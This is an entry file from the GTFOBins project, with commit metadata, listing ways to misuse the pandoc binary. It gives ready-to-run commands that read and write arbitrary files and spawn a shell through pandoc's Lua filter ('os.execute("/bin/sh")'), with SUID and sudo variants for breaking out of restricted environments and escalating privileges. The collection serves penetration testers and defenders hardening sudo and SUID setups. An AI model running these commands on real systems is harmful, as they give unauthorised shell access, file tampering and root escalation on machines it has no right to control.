GTFOBins.github.io/_gtfobins/pandoc.md
Alvin Nguyen a0be237bf5
Add Pandoc shell
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2023-12-23 13:58:05 +01:00

1.0 KiB

functions
file-read file-write shell suid limited-suid sudo
code
LFILE=file_to_read pandoc -t plain "$LFILE"
code
LFILE=file_to_write echo DATA | pandoc -t plain -o "$LFILE"
description code
Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply. TF=$(mktemp) echo 'os.execute("/bin/sh")' >$TF pandoc -L $TF /dev/null
code
LFILE=file_to_write echo DATA | ./pandoc -t plain -o "$LFILE"
description code
Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply. TF=$(mktemp) echo 'os.execute("/bin/sh")' >$TF ./pandoc -L $TF /dev/null
description code
Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply. TF=$(mktemp) echo 'os.execute("/bin/sh")' >$TF sudo pandoc -L $TF /dev/null